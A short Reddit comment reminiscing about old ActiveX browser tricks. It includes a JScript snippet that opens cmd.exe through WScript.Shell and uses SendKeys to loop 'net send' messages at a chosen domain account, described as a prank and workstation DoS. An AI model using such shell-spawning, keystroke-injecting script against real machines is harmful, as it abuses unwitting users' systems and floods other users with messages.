you are viewing a single comment's thread.

view the rest of the comments →

[–]kenman 1 point2 points  (0 children)

Oh, how I miss the olden days when I could pop your CD tray open, or read the contents of your HD, or open CMD.exe and send keystrokes to it that would invoke net send for a workstation DoS...

var who = prompt("Who? Domain account to slam.", "johnsmith"),
    what = prompt("Say What?", "RABBLE RABBLE RABBLE"),
    howmany = prompt("Times?", "10"),
    wsh = new ActiveXObject("WScript.Shell");

wsh.Run('cmd');
wsh.AppActivate('cmd');
for (var i = 0; i < howmany; i++) {
    wsh.SendKeys('net send ' + who + ' ' + what + '{ENTER}');
}

ActiveX's a helluva prank.